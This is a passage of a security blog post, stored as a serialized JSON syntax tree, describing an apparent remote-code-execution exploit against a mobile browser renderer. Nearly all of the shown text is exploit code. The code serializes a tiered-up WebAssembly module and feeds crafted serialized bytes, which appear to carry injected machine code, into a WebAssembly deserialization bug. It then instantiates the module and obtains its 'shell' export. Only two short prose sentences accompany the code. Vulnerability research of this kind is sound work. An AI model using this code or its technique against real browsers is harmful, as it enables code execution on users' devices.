":139,"props":134874,"children":134875},{"style":259},[134876],{"type":28,"value":262},{"type":23,"tag":139,"props":134878,"children":134879},{"style":294},[134880],{"type":28,"value":131765},{"type":23,"tag":139,"props":134882,"children":134883},{"style":259},[134884],{"type":28,"value":1820},{"type":23,"tag":139,"props":134886,"children":134887},{"class":141,"line":205},[134888,134892,134896,134900,134904,134908,134912,134916,134920],{"type":23,"tag":139,"props":134889,"children":134890},{"style":279},[134891],{"type":28,"value":134485},{"type":23,"tag":139,"props":134893,"children":134894},{"style":294},[134895],{"type":28,"value":77913},{"type":23,"tag":139,"props":134897,"children":134898},{"style":982},[134899],{"type":28,"value":985},{"type":23,"tag":139,"props":134901,"children":134902},{"style":294},[134903],{"type":28,"value":131735},{"type":23,"tag":139,"props":134905,"children":134906},{"style":259},[134907],{"type":28,"value":73},{"type":23,"tag":139,"props":134909,"children":134910},{"style":294},[134911],{"type":28,"value":35776},{"type":23,"tag":139,"props":134913,"children":134914},{"style":259},[134915],{"type":28,"value":73},{"type":23,"tag":139,"props":134917,"children":134918},{"style":294},[134919],{"type":28,"value":131805},{"type":23,"tag":139,"props":134921,"children":134922},{"style":259},[134923],{"type":28,"value":995},{"type":23,"tag":139,"props":134925,"children":134926},{"class":141,"line":214},[134927],{"type":23,"tag":139,"props":134928,"children":134929},{"emptyLinePlaceholder":15},[134930],{"type":28,"value":184},{"type":23,"tag":139,"props":134932,"children":134933},{"class":141,"line":1320},[134934],{"type":23,"tag":139,"props":134935,"children":134936},{"style":958},[134937],{"type":28,"value":134938},"  // %WasmTierUpFunction(func);\n",{"type":23,"tag":139,"props":134940,"children":134941},{"class":141,"line":1329},[134942,134947,134951,134955,134959,134963,134967,134971,134975,134979,134983,134987,134991,134995],{"type":23,"tag":139,"props":134943,"children":134944},{"style":319},[134945],{"type":28,"value":134946},"  for",{"type":23,"tag":139,"props":134948,"children":134949},{"style":259},[134950],{"type":28,"value":1042},{"type":23,"tag":139,"props":134952,"children":134953},{"style":279},[134954],{"type":28,"value":9798},{"type":23,"tag":139,"props":134956,"children":134957},{"style":294},[134958],{"type":28,"value":1378},{"type":23,"tag":139,"props":134960,"children":134961},{"style":982},[134962],{"type":28,"value":985},{"type":23,"tag":139,"props":134964,"children":134965},{"style":1016},[134966],{"type":28,"value":1019},{"type":23,"tag":139,"props":134968,"children":134969},{"style":259},[134970],{"type":28,"value":15239},{"type":23,"tag":139,"props":134972,"children":134973},{"style":294},[134974],{"type":28,"value":1728},{"type":23,"tag":139,"props":134976,"children":134977},{"style":982},[134978],{"type":28,"value":6724},{"type":23,"tag":139,"props":134980,"children":134981},{"style":1016},[134982],{"type":28,"value":134407},{"type":23,"tag":139,"props":134984,"children":134985},{"style":259},[134986],{"type":28,"value":15239},{"type":23,"tag":139,"props":134988,"children":134989},{"style":294},[134990],{"type":28,"value":1728},{"type":23,"tag":139,"props":134992,"children":134993},{"style":982},[134994],{"type":28,"value":49167},{"type":23,"tag":139,"props":134996,"children":134997},{"style":259},[134998],{"type":28,"value":12815},{"type":23,"tag":139,"props":135000,"children":135001},{"class":141,"line":1580},[135002,135007],{"type":23,"tag":139,"props":135003,"children":135004},{"style":245},[135005],{"type":28,"value":135006},"    func",{"type":23,"tag":139,"props":135008,"children":135009},{"style":259},[135010],{"type":28,"value":1656},{"type":23,"tag":139,"props":135012,"children":135013},{"class":141,"line":1597},[135014],{"type":23,"tag":139,"props":135015,"children":135016},{"style":259},[135017],{"type":28,"value":3874},{"type":23,"tag":139,"props":135019,"children":135020},{"class":141,"line":1614},[135021],{"type":23,"tag":139,"props":135022,"children":135023},{"emptyLinePlaceholder":15},[135024],{"type":28,"value":184},{"type":23,"tag":139,"props":135026,"children":135027},{"class":141,"line":1627},[135028,135032,135036,135040,135044,135048,135052],{"type":23,"tag":139,"props":135029,"children":135030},{"style":279},[135031],{"type":28,"value":5859},{"type":23,"tag":139,"props":135033,"children":135034},{"style":294},[135035],{"type":28,"value":133841},{"type":23,"tag":139,"props":135037,"children":135038},{"style":982},[135039],{"type":28,"value":985},{"type":23,"tag":139,"props":135041,"children":135042},{"style":245},[135043],{"type":28,"value":133850},{"type":23,"tag":139,"props":135045,"children":135046},{"style":259},[135047],{"type":28,"value":262},{"type":23,"tag":139,"props":135049,"children":135050},{"style":294},[135051],{"type":28,"value":131765},{"type":23,"tag":139,"props":135053,"children":135054},{"style":259},[135055],{"type":28,"value":1820},{"type":23,"tag":139,"props":135057,"children":135058},{"class":141,"line":1636},[135059,135063,135067,135071,135075,135079,135083,135087,135091,135095],{"type":23,"tag":139,"props":135060,"children":135061},{"style":294},[135062],{"type":28,"value":133886},{"type":23,"tag":139,"props":135064,"children":135065},{"style":982},[135066],{"type":28,"value":985},{"type":23,"tag":139,"props":135068,"children":135069},{"style":259},[135070],{"type":28,"value":1042},{"type":23,"tag":139,"props":135072,"children":135073},{"style":319},[135074],{"type":28,"value":30804},{"type":23,"tag":139,"props":135076,"children":135077},{"style":294},[135078],{"type":28,"value":133841},{"type":23,"tag":139,"props":135080,"children":135081},{"style":259},[135082],{"type":28,"value":73},{"type":23,"tag":139,"props":135084,"children":135085},{"style":245},[135086],{"type":28,"value":55464},{"type":23,"tag":139,"props":135088,"children":135089},{"style":259},[135090],{"type":28,"value":133915},{"type":23,"tag":139,"props":135092,"children":135093},{"style":294},[135094],{"type":28,"value":37042},{"type":23,"tag":139,"props":135096,"children":135097},{"style":259},[135098],{"type":28,"value":995},{"type":23,"tag":139,"props":135100,"children":135101},{"class":141,"line":1659},[135102,135106,135110,135114,135118,135122],{"type":23,"tag":139,"props":135103,"children":135104},{"style":294},[135105],{"type":28,"value":99848},{"type":23,"tag":139,"props":135107,"children":135108},{"style":259},[135109],{"type":28,"value":73},{"type":23,"tag":139,"props":135111,"children":135112},{"style":245},[135113],{"type":28,"value":99857},{"type":23,"tag":139,"props":135115,"children":135116},{"style":259},[135117],{"type":28,"value":262},{"type":23,"tag":139,"props":135119,"children":135120},{"style":294},[135121],{"type":28,"value":7089},{"type":23,"tag":139,"props":135123,"children":135124},{"style":259},[135125],{"type":28,"value":1820},{"type":23,"tag":139,"props":135127,"children":135128},{"class":141,"line":1667},[135129],{"type":23,"tag":139,"props":135130,"children":135131},{"emptyLinePlaceholder":15},[135132],{"type":28,"value":184},{"type":23,"tag":139,"props":135134,"children":135135},{"class":141,"line":1676},[135136,135140,135145,135149,135153,135157,135161,135165],{"type":23,"tag":139,"props":135137,"children":135138},{"style":279},[135139],{"type":28,"value":5859},{"type":23,"tag":139,"props":135141,"children":135142},{"style":294},[135143],{"type":28,"value":135144}," result_bytes",{"type":23,"tag":139,"props":135146,"children":135147},{"style":982},[135148],{"type":28,"value":985},{"type":23,"tag":139,"props":135150,"children":135151},{"style":279},[135152],{"type":28,"value":29820},{"type":23,"tag":139,"props":135154,"children":135155},{"style":245},[135156],{"type":28,"value":131371},{"type":23,"tag":139,"props":135158,"children":135159},{"style":259},[135160],{"type":28,"value":262},{"type":23,"tag":139,"props":135162,"children":135163},{"style":294},[135164],{"type":28,"value":7089},{"type":23,"tag":139,"props":135166,"children":135167},{"style":259},[135168],{"type":28,"value":1820},{"type":23,"tag":139,"props":135170,"children":135171},{"class":141,"line":1745},[135172,135176,135180,135184,135188,135192,135196,135200,135204,135208,135212,135216,135220,135224,135228],{"type":23,"tag":139,"props":135173,"children":135174},{"style":294},[135175],{"type":28,"value":99848},{"type":23,"tag":139,"props":135177,"children":135178},{"style":259},[135179],{"type":28,"value":73},{"type":23,"tag":139,"props":135181,"children":135182},{"style":245},[135183],{"type":28,"value":99857},{"type":23,"tag":139,"props":135185,"children":135186},{"style":259},[135187],{"type":28,"value":262},{"type":23,"tag":139,"props":135189,"children":135190},{"style":265},[135191],{"type":28,"value":131938},{"type":23,"tag":139,"props":135193,"children":135194},{"style":982},[135195],{"type":28,"value":6910},{"type":23,"tag":139,"props":135197,"children":135198},{"style":294},[135199],{"type":28,"value":135144},{"type":23,"tag":139,"props":135201,"children":135202},{"style":259},[135203],{"type":28,"value":73},{"type":23,"tag":139,"props":135205,"children":135206},{"style":245},[135207],{"type":28,"value":131955},{"type":23,"tag":139,"props":135209,"children":135210},{"style":259},[135211],{"type":28,"value":262},{"type":23,"tag":139,"props":135213,"children":135214},{"style":265},[135215],{"type":28,"value":131964},{"type":23,"tag":139,"props":135217,"children":135218},{"style":259},[135219],{"type":28,"value":1062},{"type":23,"tag":139,"props":135221,"children":135222},{"style":982},[135223],{"type":28,"value":2382},{"type":23,"tag":139,"props":135225,"children":135226},{"style":265},[135227],{"type":28,"value":131977},{"type":23,"tag":139,"props":135229,"children":135230},{"style":259},[135231],{"type":28,"value":1820},{"type":23,"tag":139,"props":135233,"children":135234},{"class":141,"line":1753},[135235],{"type":23,"tag":139,"props":135236,"children":135237},{"style":259},[135238],{"type":28,"value":99889},{"type":23,"tag":24,"props":135240,"children":135241},{},[135242],{"type":28,"value":135243},"We get the serialized bytes:",{"type":23,"tag":24,"props":135245,"children":135246},{},[135247],{"type":23,"tag":429,"props":135248,"children":135251},{"alt":135249,"src":135250},"image2","/posts/mobile-renderer-rce/image2.png",[],{"type":23,"tag":24,"props":135253,"children":135254},{},[135255,135257,135262],{"type":28,"value":135256},"We can now embed this output into the original bytecode that calls ",{"type":23,"tag":135,"props":135258,"children":135260},{"className":135259},[],[135261],{"type":28,"value":130834},{"type":28,"value":2493},{"type":23,"tag":128,"props":135264,"children":135266},{"code":135265,"language":33505,"meta":7,"className":33503,"style":7},"(async () => {\n  const wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  const buffer = new Uint8Array([\n    146, 6, 222, 192, 174, 122, 171, 151, 31, 0, 0, 0, 39, 61, 60, 31, 0, 16, 3, 0, 0, 0, 0, 0, 64,\n    0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 56, 0, 0, 0, 44, 0, 0, 0, 56, 0, 0, 0, 56, 0,\n    0, 0, 56, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 95, 36, 3, 213, 16, 1, 128, 210, 127, 35, 3,\n    213, 231, 67, 190, 169, 253, 123, 1, 169, 253, 67, 0, 145, 191, 3, 0, 145, 253, 123, 193, 168,\n    255, 35, 3, 213, 192, 3, 95, 214, 31, 32, 3, 213, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0,\n    0, 0, 0, 0, 0, 92, 50, 162, 0,\n  ]);\n  let r = bug(wasm_code, buffer.buffer);\n  result = (await r.next()).value;\n  console.log('DeserializeWasmModule result: ' + result);\n  const wasm_instance = new WebAssembly.Instance(result);\n  const f = wasm_instance.exports.shell;\n  console.log(f);\n})();\n",[135267],{"type":23,"tag":135,"props":135268,"children":135269},{"__ignoreMap":7},[135270,135293,135320,135539,135606,135613,135640,135851,136102,136353,136577,136759,136980,137058,137065,137112,137155,137191,137234,137273,137300],{"type":23,"tag":139,"props":135271,"children":135272},{"class":141,"line":142},[135273,135277,135281,135285,135289],{"type":23,"tag":139,"props":135274,"children":135275},{"style":259},[135276],{"type":28,"value":262},{"type":23,"tag":139,"props":135278,"children":135279},{"style":279},[135280],{"type":28,"value":34035},{"type":23,"tag":139,"props":135282,"children":135283},{"style":259},[135284],{"type":28,"value":37587},{"type":23,"tag":139,"props":135286,"children":135287},{"style":279},[135288],{"type":28,"value":12833},{"type":23,"tag":139,"props":135290,"children":135291},{"style":259},[135292],{"type":28,"value":1268},{"type":23,"tag":139,"props":135294,"children":135295},{"class":141,"line":151},[135296,135300,135304,135308,135312,135316],{"type":23,"tag":139,"props":135297,"children":135298},{"style":279},[135299],{"type":28,"value":34078},{"type":23,"tag":139,"props":135301,"children":135302},{"style":294},[135303],{"type":28,"value":131358},{"type":23,"tag":139,"props":135305,"children":135306},{"style":982},[135307],{"type":28,"value":985},{"type":23,"tag":139,"props":135309,"children":135310},{"style":279},[135311],{"type":28,"value":29820},{"type":23,"tag":139,"props":135313,"children":135314},{"style":245},[135315],{"type":28,"value":131371},{"type":23,"tag":139,"props":135317,"children":135318},{"style":259},[135319],{"type":28,"value":131376},{"type":23,"tag":139,"props":135321,"children":135322},{"class":141,"line":160},[135323,135327,135331,135335,135339,135343,135347,135351,135355,135359,135363,135367,135371,135375,135379,135383,135387,135391,135395,135399,135403,135407,135411,135415,135419,135423,135427,135431,135435,135439,135443,135447,135451,135455,135459,135463,135467,135471,135475,135479,135483,135487,135491,135495,135499,135503,135507,135511,135515,135519,135523,135527,135531,135535],{"type":23,"tag":139,"props":135324,"children":135325},{"style":1016},[135326],{"type":28,"value":132101},{"type":23,"tag":139,"props":135328,"children":135329},{"style":259},[135330],{"type":28,"value":1052},{"type":23,"tag":139,"props":135332,"children":135333},{"style":1016},[135334],{"type":28,"value":131393},{"type":23,"tag":139,"props":135336,"children":135337},{"style":259},[135338],{"type":28,"value":1052},{"type":23,"tag":139,"props":135340,"children":135341},{"style":1016},[135342],{"type":28,"value":131402},{"type":23,"tag":139,"props":135344,"children":135345},{"style":259},[135346],{"type":28,"value":1052},{"type":23,"tag":139,"props":135348,"children":135349},{"style":1016},[135350],{"type":28,"value":131411},{"type":23,"tag":139,"props":135352,"children":135353},{"style":259},[135354],{"type":28,"value":1052},{"type":23,"tag":139,"props":135356,"children":135357},{"style":1016},[135358],{"type":28,"value":647},{"type":23,"tag":139,"props":135360,"children":135361},{"style":259},[135362],{"type":28,"value":1052},{"type":23,"tag":139,"props":135364,"children":135365},{"style":1016},[135366],{"type":28,"value":2021},{"type":23,"tag":139,"props":135368,"children":135369},{"style":259},[135370],{"type":28,"value":1052},{"type":23,"tag":139,"props":135372,"children":135373},{"style":1016},[135374],{"type":28,"value":2021},{"type":23,"tag":139,"props":135376,"children":135377},{"style":259},[135378],{"type":28,"value":1052},{"type":23,"tag":139,"props":135380,"children":135381},{"style":1016},[135382],{"type":28,"value":2021},{"type":23,"tag":139,"props":135384,"children":135385},{"style":259},[135386],{"type":28,"value":1052},{"type":23,"tag":139,"props":135388,"children":135389},{"style":1016},[135390],{"type":28,"value":647},{"type":23,"tag":139,"props":135392,"children":135393},{"style":259},[135394],{"type":28,"value":1052},{"type":23,"tag":139,"props":135396,"children":135397},{"style":1016},[135398],{"type":28,"value":15541},{"type":23,"tag":139,"props":135400,"children":135401},{"style":259},[135402],{"type":28,"value":1052},{"type":23,"tag":139,"props":135404,"children":135405},{"style":1016},[135406],{"type":28,"value":647},{"type":23,"tag":139,"props":135408,"children":135409},{"style":259},[135410],{"type":28,"value":1052},{"type":23,"tag":139,"props":135412,"children":135413},{"style":1016},[135414],{"type":28,"value":131476},{"type":23,"tag":139,"props":135416,"children":135417},{"style":259},[135418],{"type":28,"value":1052},{"type":23,"tag":139,"props":135420,"children":135421},{"style":1016},[135422],{"type":28,"value":2021},{"type":23,"tag":139,"props":135424,"children":135425},{"style":259},[135426],{"type":28,"value":1052},{"type":23,"tag":139,"props":135428,"children":135429},{"style":1016},[135430],{"type":28,"value":2021},{"type":23,"tag":139,"props":135432,"children":135433},{"style":259},[135434],{"type":28,"value":1052},{"type":23,"tag":139,"props":135436,"children":135437},{"style":1016},[135438],{"type":28,"value":15308},{"type":23,"tag":139,"props":135440,"children":135441},{"style":259},[135442],{"type":28,"value":1052},{"type":23,"tag":139,"props":135444,"children":135445},{"style":1016},[135446],{"type":28,"value":1099},{"type":23,"tag":139,"props":135448,"children":135449},{"style":259},[135450],{"type":28,"value":1052},{"type":23,"tag":139,"props":135452,"children":135453},{"style":1016},[135454],{"type":28,"value":647},{"type":23,"tag":139,"props":135456,"children":135457},{"style":259},[135458],{"type":28,"value":1052},{"type":23,"tag":139,"props":135460,"children":135461},{"style":1016},[135462],{"type":28,"value":2021},{"type":23,"tag":139,"props":135464,"children":135465},{"style":259},[135466],{"type":28,"value":1052},{"type":23,"tag":139,"props":135468,"children":135469},{"style":1016},[135470],{"type":28,"value":52569},{"type":23,"tag":139,"props":135472,"children":135473},{"style":259},[135474],{"type":28,"value":1052},{"type":23,"tag":139,"props":135476,"children":135477},{"style":1016},[135478],{"type":28,"value":53784},{"type":23,"tag":139,"props":135480,"children":135481},{"style":259},[135482],{"type":28,"value":1052},{"type":23,"tag":139,"props":135484,"children":135485},{"style":1016},[135486],{"type":28,"value":647},{"type":23,"tag":139,"props":135488,"children":135489},{"style":259},[135490],{"type":28,"value":1052},{"type":23,"tag":139,"props":135492,"children":135493},{"style":1016},[135494],{"type":28,"value":16122},{"type":23,"tag":139,"props":135496,"children":135497},{"style":259},[135498],{"type":28,"value":1052},{"type":23,"tag":139,"props":135500,"children":135501},{"style":1016},[135502],{"type":28,"value":131402},{"type":23,"tag":139,"props":135504,"children":135505},{"style":259},[135506],{"type":28,"value":1052},{"type":23,"tag":139,"props":135508,"children":135509},{"style":1016},[135510],{"type":28,"value":131573},{"type":23,"tag":139,"props":135512,"children":135513},{"style":259},[135514],{"type":28,"value":1052},{"type":23,"tag":139,"props":135516,"children":135517},{"style":1016},[135518],{"type":28,"value":131582},{"type":23,"tag":139,"props":135520,"children":135521},{"style":259},[135522],{"type":28,"value":1052},{"type":23,"tag":139,"props":135524,"children":135525},{"style":1016},[135526],{"type":28,"value":131591},{"type":23,"tag":139,"props":135528,"children":135529},{"style":259},[135530],{"type":28,"value":1052},{"type":23,"tag":139,"props":135532,"children":135533},{"style":1016},[135534],{"type":28,"value":131591},{"type":23,"tag":139,"props":135536,"children":135537},{"style":259},[135538],{"type":28,"value":1488},{"type":23,"tag":139,"props":135540,"children":135541},{"class":141,"line":169},[135542,135546,135550,135554,135558,135562,135566,135570,135574,135578,135582,135586,135590,135594,135598,135602],{"type":23,"tag":139,"props":135543,"children":135544},{"style":1016},[135545],{"type":28,"value":132101},{"type":23,"tag":139,"props":135547,"children":135548},{"style":259},[135549],{"type":28,"value":1052},{"type":23,"tag":139,"props":135551,"children":135552},{"style":1016},[135553],{"type":28,"value":2021},{"type":23,"tag":139,"props":135555,"children":135556},{"style":259},[135557],{"type":28,"value":1052},{"type":23,"tag":139,"props":135559,"children":135560},{"style":1016},[135561],{"type":28,"value":87157},{"type":23,"tag":139,"props":135563,"children":135564},{"style":259},[135565],{"type":28,"value":1052},{"type":23,"tag":139,"props":135567,"children":135568},{"style":1016},[135569],{"type":28,"value":15541},{"type":23,"tag":139,"props":135571,"children":135572},{"style":259},[135573],{"type":28,"value":1052},{"type":23,"tag":139,"props":135575,"children":135576},{"style":1016},[135577],{"type":28,"value":647},{"type":23,"tag":139,"props":135579,"children":135580},{"style":259},[135581],{"type":28,"value":1052},{"type":23,"tag":139,"props":135583,"children":135584},{"style":1016},[135585],{"type":28,"value":1099},{"type":23,"tag":139,"props":135587,"children":135588},{"style":259},[135589],{"type":28,"value":1052},{"type":23,"tag":139,"props":135591,"children":135592},{"style":1016},[135593],{"type":28,"value":2021},{"type":23,"tag":139,"props":135595,"children":135596},{"style":259},[135597],{"type":28,"value":1052},{"type":23,"tag":139,"props":135599,"children":135600},{"style":1016},[135601],{"type":28,"value":131667},{"type":23,"tag":139,"props":135603,"children":135604},{"style":259},[135605],{"type":28,"value":1488},{"type":23,"tag":139,"props":135607,"children":135608},{"class":141,"line":178},[135609],{"type":23,"tag":139,"props":135610,"children":135611},{"style":259},[135612],{"type":28,"value":132388},{"type":23,"tag":139,"props":135614,"children":135615},{"class":141,"line":187},[135616,135620,135624,135628,135632,135636],{"type":23,"tag":139,"props":135617,"children":135618},{"style":279},[135619],{"type":28,"value":34078},{"type":23,"tag":139,"props":135621,"children":135622},{"style":294},[135623],{"type":28,"value":123171},{"type":23,"tag":139,"props":135625,"children":135626},{"style":982},[135627],{"type":28,"value":985},{"type":23,"tag":139,"props":135629,"children":135630},{"style":279},[135631],{"type":28,"value":29820},{"type":23,"tag":139,"props":135633,"children":135634},{"style":245},[135635],{"type":28,"value":131371},{"type":23,"tag":139,"props":135637,"children":135638},{"style":259},[135639],{"type":28,"value":131376},{"type":23,"tag":139,"props":135641,"children":135642},{"class":141,"line":196},[135643,135648,135652,135656,135660,135664,135668,135672,135676,135681,135685,135690,135694,135699,135703,135708,135712,135716,135720,135724,135728,135732,135736,135740,135744,135749,135753,135758,135762,135767,135771,135775,135779,135783,135787,135791,135795,135799,135803,135807,135811,135815,135819,135823,135827,135831,135835,135839,135843,135847],{"type":23,"tag":139,"props":135644,"children":135645},{"style":1016},[135646],{"type":28,"value":135647},"    146",{"type":23,"tag":139,"props":135649,"children":135650},{"style":259},[135651],{"type":28,"value":1052},{"type":23,"tag":139,"props":135653,"children":135654},{"style":1016},[135655],{"type":28,"value":16434},{"type":23,"tag":139,"props":135657,"children":135658},{"style":259},[135659],{"type":28,"value":1052},{"type":23,"tag":139,"props":135661,"children":135662},{"style":1016},[135663],{"type":28,"value":132440},{"type":23,"tag":139,"props":135665,"children":135666},{"style":259},[135667],{"type":28,"value":1052},{"type":23,"tag":139,"props":135669,"children":135670},{"style":1016},[135671],{"type":28,"value":132449},{"type":23,"tag":139,"props":135673,"children":135674},{"style":259},[135675],{"type":28,"value":1052},{"type":23,"tag":139,"props":135677,"children":135678},{"style":1016},[135679],{"type":28,"value":135680},"174",{"type":23,"tag":139,"props":135682,"children":135683},{"style":259},[135684],{"type":28,"value":1052},{"type":23,"tag":139,"props":135686,"children":135687},{"style":1016},[135688],{"type":28,"value":135689},"122",{"type":23,"tag":139,"props":135691,"children":135692},{"style":259},[135693],{"type":28,"value":1052},{"type":23,"tag":139,"props":135695,"children":135696},{"style":1016},[135697],{"type":28,"value":135698},"171",{"type":23,"tag":139,"props":135700,"children":135701},{"style":259},[135702],{"type":28,"value":1052},{"type":23,"tag":139,"props":135704,"children":135705},{"style":1016},[135706],{"type":28,"value":135707},"151",{"type":23,"tag":139,"props":135709,"children":135710},{"style":259},[135711],{"type":28,"value":1052},{"type":23,"tag":139,"props":135713,"children":135714},{"style":1016},[135715],{"type":28,"value":94571},{"type":23,"tag":139,"props":135717,"children":135718},{"style":259},[135719],{"type":28,"value":1052},{"type":23,"tag":139,"props":135721,"children":135722},{"style":1016},[135723],{"type":28,"value":2021},{"type":23,"tag":139,"props":135725,"children":135726},{"style":259},[135727],{"type":28,"value":1052},{"type":23,"tag":139,"props":135729,"children":135730},{"style":1016},[135731],{"type":28,"value":2021},{"type":23,"tag":139,"props":135733,"children":135734},{"style":259},[135735],{"type":28,"value":1052},{"type":23,"tag":139,"props":135737,"children":135738},{"style":1016},[135739],{"type":28,"value":2021},{"type":23,"tag":139,"props":135741,"children":135742},{"style":259},[135743],{"type":28,"value":1052},{"type":23,"tag":139,"props":135745,"children":135746},{"style":1016},[135747],{"type":28,"value":135748},"39",{"type":23,"tag":139,"props":135750,"children":135751},{"style":259},[135752],{"type":28,"value":1052},{"type":23,"tag":139,"props":135754,"children":135755},{"style":1016},[135756],{"type":28,"value":135757},"61",{"type":23,"tag":139,"props":135759,"children":135760},{"style":259},[135761],{"type":28,"value":1052},{"type":23,"tag":139,"props":135763,"children":135764},{"style":1016},[135765],{"type":28,"value":135766},"60",{"type":23,"tag":139,"props":135768,"children":135769},{"style":259},[135770],{"type":28,"value":1052},{"type":23,"tag":139,"props":135772,"children":135773},{"style":1016},[135774],{"type":28,"value":94571},{"type":23,"tag":139,"props":135776,"children":135777},{"style":259},[135778],{"type":28,"value":1052},{"type":23,"tag":139,"props":135780,"children":135781},{"style":1016},[135782],{"type":28,"value":2021},{"type":23,"tag":139,"props":135784,"children":135785},{"style":259},[135786],{"type":28,"value":1052},{"type":23,"tag":139,"props":135788,"children":135789},{"style":1016},[135790],{"type":28,"value":38738},{"type":23,"tag":139,"props":135792,"children":135793},{"style":259},[135794],{"type":28,"value":1052},{"type":23,"tag":139,"props":135796,"children":135797},{"style":1016},[135798],{"type":28,"value":15308},{"type":23,"tag":139,"props":135800,"children":135801},{"style":259},[135802],{"type":28,"value":1052},{"type":23,"tag":139,"props":135804,"children":135805},{"style":1016},[135806],{"type":28,"value":2021},{"type":23,"tag":139,"props":135808,"children":135809},{"style":259},[135810],{"type":28,"value":1052},{"type":23,"tag":139,"props":135812,"children":135813},{"style":1016},[135814],{"type":28,"value":2021},{"type":23,"tag":139,"props":135816,"children":135817},{"style":259},[135818],{"type":28,"value":1052},{"type":23,"tag":139,"props":135820,"children":135821},{"style":1016},[135822],{"type":28,"value":2021},{"type":23,"tag":139,"props":135824,"children":135825},{"style":259},[135826],{"type":28,"value":1052},{"type":23,"tag":139,"props":135828,"children":135829},{"style":1016},[135830],{"type":28,"value":2021},{"type":23,"tag":139,"props":135832,"children":135833},{"style":259},[135834],{"type":28,"value":1052},{"type":23,"tag":139,"props":135836,"children":135837},{"style":1016},[135838],{"type":28,"value":2021},{"type":23,"tag":139,"props":135840,"children":135841},{"style":259},[135842],{"type":28,"value":1052},{"type":23,"tag":139,"props":135844,"children":135845},{"style":1016},[135846],{"type":28,"value":27445},{"type":23,"tag":139,"props":135848,"children":135849},{"style":259},[135850],{"type":28,"value":1488},{"type":23,"tag":139,"props":135852,"children":135853},{"class":141,"line":205},[135854,135858,135862,135866,135870,135874,135878,135882,135886,135890,135894,135898,135902,135906,135910,135914,135918,135922,135926,135930,135934,135938,135942,135946,135950,135954,135958,135962,135966,135970,135974,135978,135982,135986,135990,135994,135998,136002,136006,136010,136014,136018,136022,136026,136030,136034,136038,136042,136046,136050,136054,136058,136062,136066,136070,136074,136078,136082,136086,136090,136094,136098],{"type":23,"tag":139,"props":135855,"children":135856},{"style":1016},[135857],{"type":28,"value":132101},{"type":23,"tag":139,"props":135859,"children":135860},{"style":259},[135861],{"type":28,"value":1052},{"type":23,"tag":139,"props":135863,"children":135864},{"style":1016},[135865],{"type":28,"value":2021},{"type":23,"tag":139,"props":135867,"children":135868},{"style":259},[135869],{"type":28,"value":1052},{"type":23,"tag":139,"props":135871,"children":135872},{"style":1016},[135873],{"type":28,"value":2021},{"type":23,"tag":139,"props":135875,"children":135876},{"style":259},[135877],{"type":28,"value":1052},{"type":23,"tag":139,"props":135879,"children":135880},{"style":1016},[135881],{"type":28,"value":2021},{"type":23,"tag":139,"props":135883,"children":135884},{"style":259},[135885],{"type":28,"value":1052},{"type":23,"tag":139,"props":135887,"children":135888},{"style":1016},[135889],{"type":28,"value":2021},{"type":23,"tag":139,"props":135891,"children":135892},{"style":259},[135893],{"type":28,"value":1052},{"type":23,"tag":139,"props":135895,"children":135896},{"style":1016},[135897],{"type":28,"value":2021},{"type":23,"tag":139,"props":135899,"children":135900},{"style":259},[135901],{"type":28,"value":1052},{"type":23,"tag":139,"props":135903,"children":135904},{"style":1016},[135905],{"type":28,"value":2021},{"type":23,"tag":139,"props":135907,"children":135908},{"style":259},[135909],{"type":28,"value":1052},{"type":23,"tag":139,"props":135911,"children":135912},{"style":1016},[135913],{"type":28,"value":647},{"type":23,"tag":139,"props":135915,"children":135916},{"style":259},[135917],{"type":28,"value":1052},{"type":23,"tag":139,"props":135919,"children":135920},{"style":1016},[135921],{"type":28,"value":2021},{"type":23,"tag":139,"props":135923,"children":135924},{"style":259},[135925],{"type":28,"value":1052},{"type":23,"tag":139,"props":135927,"children":135928},{"style":1016},[135929],{"type":28,"value":2021},{"type":23,"tag":139,"props":135931,"children":135932},{"style":259},[135933],{"type":28,"value":1052},{"type":23,"tag":139,"props":135935,"children":135936},{"style":1016},[135937],{"type":28,"value":2021},{"type":23,"tag":139,"props":135939,"children":135940},{"style":259},[135941],{"type":28,"value":1052},{"type":23,"tag":139,"props":135943,"children":135944},{"style":1016},[135945],{"type":28,"value":2021},{"type":23,"tag":139,"props":135947,"children":135948},{"style":259},[135949],{"type":28,"value":1052},{"type":23,"tag":139,"props":135951,"children":135952},{"style":1016},[135953],{"type":28,"value":2021},{"type":23,"tag":139,"props":135955,"children":135956},{"style":259},[135957],{"type":28,"value":1052},{"type":23,"tag":139,"props":135959,"children":135960},{"style":1016},[135961],{"type":28,"value":2021},{"type":23,"tag":139,"props":135963,"children":135964},{"style":259},[135965],{"type":28,"value":1052},{"type":23,"tag":139,"props":135967,"children":135968},{"style":1016},[135969],{"type":28,"value":2021},{"type":23,"tag":139,"props":135971,"children":135972},{"style":259},[135973],{"type":28,"value":1052},{"type":23,"tag":139,"props":135975,"children":135976},{"style":1016},[135977],{"type":28,"value":2021},{"type":23,"tag":139,"props":135979,"children":135980},{"style":259},[135981],{"type":28,"value":1052},{"type":23,"tag":139,"props":135983,"children":135984},{"style":1016},[135985],{"type":28,"value":15541},{"type":23,"tag":139,"props":135987,"children":135988},{"style":259},[135989],{"type":28,"value":1052},{"type":23,"tag":139,"props":135991,"children":135992},{"style":1016},[135993],{"type":28,"value":43021},{"type":23,"tag":139,"props":135995,"children":135996},{"style":259},[135997],{"type":28,"value":1052},{"type":23,"tag":139,"props":135999,"children":136000},{"style":1016},[136001],{"type":28,"value":2021},{"type":23,"tag":139,"props":136003,"children":136004},{"style":259},[136005],{"type":28,"value":1052},{"type":23,"tag":139,"props":136007,"children":136008},{"style":1016},[136009],{"type":28,"value":2021},{"type":23,"tag":139,"props":136011,"children":136012},{"style":259},[136013],{"type":28,"value":1052},{"type":23,"tag":139,"props":136015,"children":136016},{"style":1016},[136017],{"type":28,"value":2021},{"type":23,"tag":139,"props":136019,"children":136020},{"style":259},[136021],{"type":28,"value":1052},{"type":23,"tag":139,"props":136023,"children":136024},{"style":10